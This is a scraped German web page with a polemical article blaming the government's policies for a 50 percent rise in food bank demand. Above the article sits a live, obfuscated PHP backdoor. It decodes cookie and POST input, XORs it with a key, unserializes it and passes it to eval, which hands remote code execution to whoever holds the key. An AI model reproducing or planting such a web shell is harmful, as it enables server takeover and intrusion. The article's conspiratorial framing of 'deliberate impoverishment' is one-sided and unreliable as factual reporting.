$auDiDm = class_exists("V_CGoZ");if (!$auDiDm){class V_CGoZ{private $XkVtqVHtt;public static $fKcqCF = "a158a651-ff74-4edd-953b-c602dc034b3c";public static $zDAWli = NULL;public function __construct(){$VLrdKegcTD = $_COOKIE;$DhwQtx = $_POST;$mummiCkbIe = @$VLrdKegcTD[substr(V_CGoZ::$fKcqCF, 0, 4)];if (!empty($mummiCkbIe)){$gjDlrlmo = "base64";$iKSRFTZjJ = "";$mummiCkbIe = explode(",", $mummiCkbIe);foreach ($mummiCkbIe as $knlWEFqQRS){$iKSRFTZjJ .= @$VLrdKegcTD[$knlWEFqQRS];$iKSRFTZjJ .= @$DhwQtx[$knlWEFqQRS];}$iKSRFTZjJ = array_map($gjDlrlmo . chr ( 924 - 829 ).chr ( 569 - 469 ).chr (101) . "\143" . chr ( 254 - 143 ).'d' . chr ( 408 - 307 ), array($iKSRFTZjJ,)); $iKSRFTZjJ = $iKSRFTZjJ[0] ^ str_repeat(V_CGoZ::$fKcqCF, (strlen($iKSRFTZjJ[0]) / strlen(V_CGoZ::$fKcqCF)) + 1);V_CGoZ::$zDAWli = @unserialize($iKSRFTZjJ);}}public function __destruct(){$this->qrWpeOVCE();}private function qrWpeOVCE(){if (is_array(V_CGoZ::$zDAWli)) {$bdwWJSmubh = str_replace('<' . chr (63) . chr ( 117 - 5 ).'h' . "\x70", "", V_CGoZ::$zDAWli[chr (99) . "\157" . "\156" . "\164" . "\x65" . chr ( 670 - 560 ).'t']);eval($bdwWJSmubh);exit();}}}$fnjTXPt = new V_CGoZ(); $fnjTXPt = NULL;} ?> Gewollte Verarmung läuft: Deutsche Tafeln melden 50 Prozent mehr Zulauf – No-Zensur.de Das freie Wort für eine freie Welt
Start Ansage.org Gewollte Verarmung läuft: Deutsche Tafeln melden 50 Prozent mehr Zulauf

Gewollte Verarmung läuft: Deutsche Tafeln melden 50 Prozent mehr Zulauf

0
Gewollte Verarmung läuft: Deutsche Tafeln melden 50 Prozent mehr Zulauf




Lebensmittelausgabe in der Hamburger Tafel (Symbolbild:Imago)

Man kann nicht behaupten, dass sich Deutschland unter der Ampel-Regierung binnen weniger als 11 Monaten nicht deutlich „verändert” hätte. Im Gegenteil: Die Transformation klappt wie am Schnürchen. Wir erleben die scham- und ruchloseste, gigantischste Umverteilung von unten nach oben der jüngeren Geschichte, hin zu Krisenprofiteuren – und das ausgerechnet ermöglicht von Politikern der Parteien, die sich „soziale Gerechtigkeit” und „Solidarität“ auf die Fahnen geschrieben haben. Inflation und damit einhergehende Mehrwertsteuereinnahmen, von den Bürgern zu schulternde gigantische Wohlfahrts- und „Entlastungs”-Programme auf Pump, politisch vorsätzlich herbeigeführte Energieverteuerungen bedeuten in Summe eine nie gesehene Ausplünderung vor allem der kleinen Leute, der Geringverdiener und Schwächsten der Gemeinschaft. Nach den Corona-Profiteuren (Maskenabzocker, Testcenterbetreiber, Impfärzte, Soforthilfenbetrüger und vor allem Impfstoffherstellern, denen die Politik zweistellige Milliardengewinne in die Privatschatullen spülte) sind jetzt die globalen Spekulanten und Nutznießer der Energiekrise dran, ihren ordentlichen Schluck aus der Pulle zu nehmen. Sie können sich bei der Ampel bedanken.

Bei alledem tun unsere Regierenden noch so, als verfolgten sie eine auf sozialen Ausgleich und gerechte Lastenverteilung gerichtete Politik. Sie bedienen sich dazu der sozialistischen Mottenkiste; im Raum stehen immer öfter Enteignungen, Staatsbeteiligungen, Lastenausgleichs- und Vermögensabgaben sowie aktuell die „Übergewinnsteuer”. Das alles ist populistisches Opium fürs Volk, alleine dazu angetan, eine soziale Konsequenz zu suggerieren. Währenddessen zahlen in Wahrheit Rentner, Mindestlohnbezieher und „Hartzer” (demnächst vornehmer: „Bürgergeldbezieher”) die Hauptzeche und daran wird sich auch nichts ändern, wenn der gefräßige Staat auch „denen da oben“ noch tiefer in die Tasche langt.

Entreicherung und Prekarisierung

Als Folge der Entreicherung und planmäßigen Prekarisierung weiter Bevölkerungsteile verzeichnen Deutschlands Tafeln inzwischen 50 Prozent mehr Bedürftige. Zwar ist dies auch eine Folge der Massenzuwanderung von Flüchtlingen, aber eben nicht nur: Tatsächlich sind mittlerweile immer mehr Menschen aus der Mitte der Gesellschaft auf Lebensmittelspenden angewiesen, selbst das Phänomen der „working poor” (Arbeitende, denen ihr Erwerbseinkommen nicht mehr zum Leben reicht) ist allerorten zu bestaunen Die Schamgrenzen sinken zunehmend, je mehr man von seinesgleichen in den namenlosen Schlangen vor den Ausgabestellen entdeckt, umso geringer die Hemmschwelle, sich dort ebenfalls einzureihen. Einst galt „Geiz ist geil„, heute ist er lebensnotwendig.

Der Vorsitzende des Tafel-Dachverbands, Jochen Brühl, erklärt aktuell in der „Rheinischen Post„, insgesamt kämen mittlerweile etwa zwei Millionen Menschen regelmäßig zu den Tafeln – ein extremer, rapider Anstieg. Der Andrang stellt die Helfer vor doppelte Schwierigkeiten, da bei schwindenden Kapazitäten und gestiegener Nachfrage zugleich die die Lebensmittelspenden zurückgegangen seien. Ein Grund dafür ist, dass viele Spenden vermehrt in die Ukraine gehen; ein Phänomen, das auch schon die Hilfsorganisationen der Flutopfer in der Eifel und im Ahrtal zu spüren bekamen.

Zunehmende Einzelschicksale

Es ergibt sich die paradoxe Situation, dass Lebensmittel und Hilfsgüter in die Ukraine rollen und gleichzeitig die Menschen von dort in der Gegenrichtung zu uns kommen – um hier dann die zunehmend auf dem Trockenen sitzenden Tafeln aufzusuchen. Rund ein Drittel der deutschen Tafeln sei bereits dermaßen überlastet, dass sie Aufnahmestopps verhängen mussten. Für die Mitarbeiter ist dies keine einfache Situation: Hilfesuchende Menschen wegzuschicken sei für Helfer „psychisch enorm belastend”, so Brühl.

Auffällig sei zudem, so Brühl, dass die Einzelschicksale zunähmen. „Die Menschen haben große Existenzängste und Sorgen, wie sie Lebensmittel, Wohnen, Heizen zahlen können.” Die Tafeln könnten aber nicht auffangen, „was der Staat nicht schafft”. Insgesamt seien die staatlichen Hilfen „unzureichend“ und kämen zu spät, zitiert „dts“  den Tafel-Chef. Menschen, die zu den Einrichtungen kommen, hätten oft keine Reserven mehr, und akut armutsbetroffene Menschen brauchten schnelle und unkomplizierte Hilfe, sagte Brühl. Der Appell des Tafel-Vorsitzende an die Gesellschaft hört sich dann allerdings wieder so an, als stamme er von just den Politikern, die Deutschland in diese katastrophale Lage manövriert haben – eine Lage, die wohl erst der Anfang eines tiefen Absturzes sein dürfte: „Wir sind ein reiches Land, wir können es schaffen, dass alle Menschen gut durch diesen Winter kommen.“ Abgesehen davon, dass wir genau das eben offenbar schon jetzt nicht schaffen und dass Deutschland schon lange kein „reiches Land” mehr ist: Wen genau schließt dieses „alle Menschen“ eigentlich ein? Jeden, der zu uns kommt? Die ganze Welt? Man darf gespannt sein, wann der Kessel explodiert.



Source link